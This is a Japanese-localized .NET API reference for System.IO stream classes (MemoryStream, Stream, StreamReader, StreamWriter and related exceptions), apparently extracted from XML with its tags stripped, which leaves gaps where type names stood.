+ 1 + + + 32 ビット整数を圧縮形式で書き込みます。 + 書き込む 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + ストリームが閉じられました。 + + + ストリームの末尾を越えて読み込もうとしたときにスローされる例外。 + 2 + + + メッセージ文字列がシステムによって提供されたメッセージに設定され、HRESULT が COR_E_ENDOFSTREAM に設定された クラスの新しいインスタンスを初期化します。 + + + メッセージ文字列を に設定し、HRESULT を COR_E_ENDOFSTREAM に設定して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + + + 指定したエラー メッセージと、この例外の原因である内部例外への参照を使用して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + データ ストリームが無効な形式である場合にスローされる例外。 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定したエラー メッセージを使用して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + + + この例外の原因である内部例外への参照を指定して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + バッキング ストアとしてメモリを使用するストリームを作成します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを、0 に初期化される拡張可能な容量を使用して 初期化します。 + + + 指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + 現在のストリームを作成する符号なしバイトの配列。 + + は null です。 + + + + プロパティを指定どおりに設定し、指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + + バイト配列の指定した領域 (インデックス) に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + + は null です。 + + または が 0 未満です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、バイト配列の指定した領域に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、 を呼び出す機能を指定どおりに設定して、バイト配列の指定した領域に基づき、 クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + ストリームの作成元の符号なしバイト配列を返す を有効にする場合は true。それ以外の場合は false。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + クラスの新しいインスタンスを、指定に従って初期化される拡張可能な容量を使用して初期化します。 + バイト単位の内部配列の初期サイズ。 + + が負の値です。 + + + 現在のストリームが読み取りをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームがシークをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームが書き込みをサポートしているかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 2 + + + ストリームに割り当てられたバイト数を取得または設定します。 + ストリームに対してバッファーが使用できる部分の長さ。 + 容量が負の値または現在のストリーム長より小さい値に設定されています。 + 現在のストリームが閉じています。 + 容量を変更できないストリームに対して set が呼び出されました。 + 2 + + + 指定されたバッファー サイズを使用して、現在のストリームからすべてのバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。 + キャンセル要求を監視するためのトークン。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + アクションが実行されないように、 メソッドをオーバーライドします。 + 2 + + + このストリームのすべてのバッファーを非同期的にクリアし、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。 + ストリームは破棄されています。 + + + バイト単位のストリーム長を取得します。 + バイト単位のストリーム長。 + ストリームが閉じられました。 + 2 + + + ストリームの現在位置を取得または設定します。 + ストリーム内の現在位置。 + 位置が負の値または より大きい値に設定されています。 + ストリームが閉じられました。 + 2 + + + 現在のストリームからバイトのブロックを読み取り、データをバッファーに書き込みます。 + バッファーに書き込まれた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。また、データを読み取る前にストリームの末尾に到達した場合は 0 になります。 + このメソッドが戻るとき、指定したバイト配列の から ( + - 1) までの値が、現在のストリームから読み取られた文字に置き換えられています。 + 現在のストリームからのデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームからバイトを読み取ります。 + + にキャストしたバイト。ストリームの末尾に達した場合は -1。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム内の位置を指定した値に設定します。 + 初期参照ポイントとオフセットを組み合わせて計算するストリーム内の新しい位置。 + ストリームの新しい位置。これは パラメーターに対する相対値であり、正または負の値にできます。 + シーク参照ポイントとして機能する 型の値。 + ストリームの先頭より前をシークしようとしました。 + + が より大きくなっています。 + 無効な があります。または によって算術オーバーフローが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム長を指定した値に設定します。 + 長さを設定する値。 + 現在のストリームのサイズが変更できません。 が現在の容量を超えています。または 現在のストリームが書き込みをサポートしません。 + + が負または の最大長より大きな値です。最大長は、( - origin) で計算され、origin は、ストリームが開始する位置を示す基になるバッファーのインデックスです。 + 2 + + + + プロパティには関係なく、ストリームの内容をバイト配列に書き込みます。 + 新しいバイト配列。 + 2 + + + このストリームの作成元の符号なしバイトの配列を返します。戻り値は、変換が成功したかどうかを示します。 + 変換が成功した場合は true。それ以外の場合は false。 + このストリームの作成元のバイト配列セグメント。 + + + バッファーから読み取ったデータを使用して、現在のストリームにバイトのブロックを書き込みます。 + データの書き込み元となるバッファー。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置が、ストリームの末尾に向かって バイトよりも近い位置にあり、容量を変更できません。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリーム内の現在位置に 1 バイトを書き込みます。 + 書き込むバイト。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置がストリームの末尾になっており、容量を変更できません。 + 現在のストリームが閉じています。 + 2 + + + メモリ ストリームの内容全体を別のストリームに書き込みます。 + このメモリ ストリームが書き込まれるストリーム。 + + は null です。 + 現在のストリームまたは対象のストリームは閉じています。 + 2 + + + シークに使用するストリームの場所を指定します。 + 2 + + + ストリームの先頭を指定します。 + + + ストリーム内の現在位置を指定します。 + + + ストリームの末尾を指定します。 + + + バイト シーケンスのジェネリック ビューを提供します。これは抽象クラスです。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが読み取りをサポートするかどうかを示す値を取得します。 + ストリームが読み込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームがシークをサポートするかどうかを示す値を取得します。 + ストリームがシークをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームがタイムアウトできるかどうかを決定する値を取得します。 + 現在のストリームがタイムアウトできるかどうかを決定する値。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが書き込みをサポートするかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 現在のストリームからすべてのバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + によって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされた場合は、ストリームに対応するすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + I/O エラーが発生しました。 + 2 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込み、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。既定値は です。 + ストリームは破棄されています。 + + + 派生クラスでオーバーライドされた場合は、ストリームの長さをバイト単位で取得します。 + ストリーム長 (バイト単位) を表す long 値。 + Stream から派生したクラスがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + バッキング ストアを持たない Stream。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を取得または設定します。 + ストリーム内の現在位置。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームからバイト シーケンスを読み取り、読み取ったバイト数の分だけストリームの位置を進めます。 + バッファーに読み取られた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 (ゼロ) になることがあります。 + バイト配列。このメソッドが戻るとき、指定したバイト配列の から ( + -1) までの値が、現在のソースから読み取られたバイトに置き換えられます。 + 現在のストリームから読み取ったデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームから読み取る最大バイト数。 + + と の合計値が、バッファー長より大きい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 現在のストリームからバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進めます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + ストリームから 1 バイトを読み取り、ストリーム内の位置を 1 バイト進めます。ストリームの末尾の場合は -1 を返します。 + Int32 にキャストされた符号なしバイト。ストリームの末尾の場合は -1。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を設定します。 + 現在のストリーム内の新しい位置。 + + パラメーターからの相対バイト オフセット。 + 新しい位置を取得するために使用する参照ポイントを示す 型の値。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームの長さを設定します。 + 現在のストリームの希望の長さ (バイト数)。 + I/O エラーが発生しました。 + ストリームが書き込みとシークの両方をサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームにバイト シーケンスを書き込み、書き込んだバイト数の分だけストリームの現在位置を進めます。 + バイト配列。このメソッドは、 から現在のストリームに、 で指定されたバイト数だけコピーします。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームに書き込むバイト数。 + 合計  と  がバッファーの長さより大きい。 + + nullです。 + + または  が負の値です。 + 指定したファイルが見つからないなど、I/O エラーが発生しました。 + ストリームは書き込みをサポートしません。 + + ストリームが閉じられた後が呼び出されました。 + 1 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進めます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + ストリームの現在位置にバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + ストリームに書き込むバイト。 + I/O エラーが発生しました。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 特定のエンコーディングのバイト ストリームから文字を読み込む を実装します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 1 + + + 指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + + が読み取りをサポートしていません。 + + は null です。 + + + バイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + は null です。 + + + 文字エンコーディングを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディングとバイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + 最小バッファー サイズ。 + ストリームは読み取りをサポートしません。 + + または が null です。 + + が 0 以下です。 + + + 指定した文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズに基づいて、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 読み取るストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索する場合は true。それ以外の場合は false。 + 最小バッファー サイズ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + + 基になるストリームを返します。 + 基になるストリーム。 + 2 + + + 現在の オブジェクトが使用している現在の文字エンコーディングを取得します。 + 現在のリーダーが使用している現在の文字エンコーディング。 の メソッドを最初に呼び出した後、現在の文字エンコーディングを示す値が異なる場合があります。これは、 メソッドの最初の呼び出しまでエンコードの自動検出が実行されないためです。 + 2 + + + 内部バッファーをクリアします。 + 2 + + + 基になるストリームを閉じ、 によって使用されているアンマネージ リソースを解放します。任意でマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のストリームの位置がストリームの末尾かどうかを示す値を取得します。 + 現在のストリームの位置がストリームの末尾の場合は true。それ以外の場合は false。 + 基になるストリームは破棄されています。 + 1 + + + 空のストリームの オブジェクト。 + 1 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。読み取り対象の文字が存在しない場合またはストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 入力ストリームから次の文字を読み込み、1 文字分だけ文字位置を進めます。 + 入力ストリームの次の文字を オブジェクトで表した値。使用できる文字がない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 指定したインデックスを開始位置として、現在のストリームから、指定された最大文字数をバッファー内に読み取ります。 + 読み込まれた文字数。ストリームの末尾でデータが読み込まれなかった場合は 0。この数値は、ストリーム内に使用できるデータがあるかどうかによって異なりますが、 パラメーター以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みの開始位置を示す のインデックス。 + 読み取り対象の最大文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。たとえば、ストリームがクローズされています。 + 1 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合は現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のストリームから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから 1 行分の文字を読み取り、そのデータを文字列として返します。 + 入力ストリームからの次の行。入力ストリームの末尾に到達した場合は null。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームから非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、ストリームの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + すべての文字の現在位置から末尾までを読み込みます。 + ストリームの現在位置から末尾までのストリームの残り部分 (文字列)。現在の位置がストリームの末尾である場合は、空の文字列 ("") が返されます。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在位置からストリームの末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からストリームの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字を特定のエンコーディングでストリームに書き込むための を実装しています。この種類の .NET Framework ソース コードを参照して、次を参照してください。、参照ソースです。 + 1 + + + UTF-8 エンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + + が書き込み可能ではありません。 + + は null です。 + + + 指定したエンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + + または が null です。 + + が書き込み可能ではありません。 + + + 指定したエンコーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + 指定した円コーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + true to leave the stream open after the object is disposed; otherwise, false. + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + + が呼び出されるたびに、 によって基になるストリームに対するバッファーをフラッシュするかどうかを示す値を取得または設定します。 + + に強制的にバッファーをフラッシュさせる場合は true。それ以外の場合は false。 + 1 + + + バッキング ストアと連結する、基になるストリームを取得します。 + この StreamWriter が書き込むストリーム。 + 2 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + + + 出力の書き込みに使用する を取得します。 + 現在のインスタンスのコンストラクターで指定した 。エンコーディングを指定しなかった場合は、。 + 2 + + + 現在のライターで使用したすべてのバッファーをクリアし、バッファー内のすべてのデータを基になるストリームに書き込みます。 + 現在のライターがクローズされています。 + I/O エラーが発生しました。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + 1 + + + このストリームのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + バッキング ストアを持たない書き込み専用の StreamWriter を提供します。 + 1 + + + ストリームに文字を書き込みます。 + ストリームに書き込む文字。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列を書き込みます。 + 書き込むデータを格納する文字配列。 が null の場合は、何も書き込まれません。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列の一部を書き込みます。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字列を書き込みます。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + I/O エラーが発生しました。 + 1 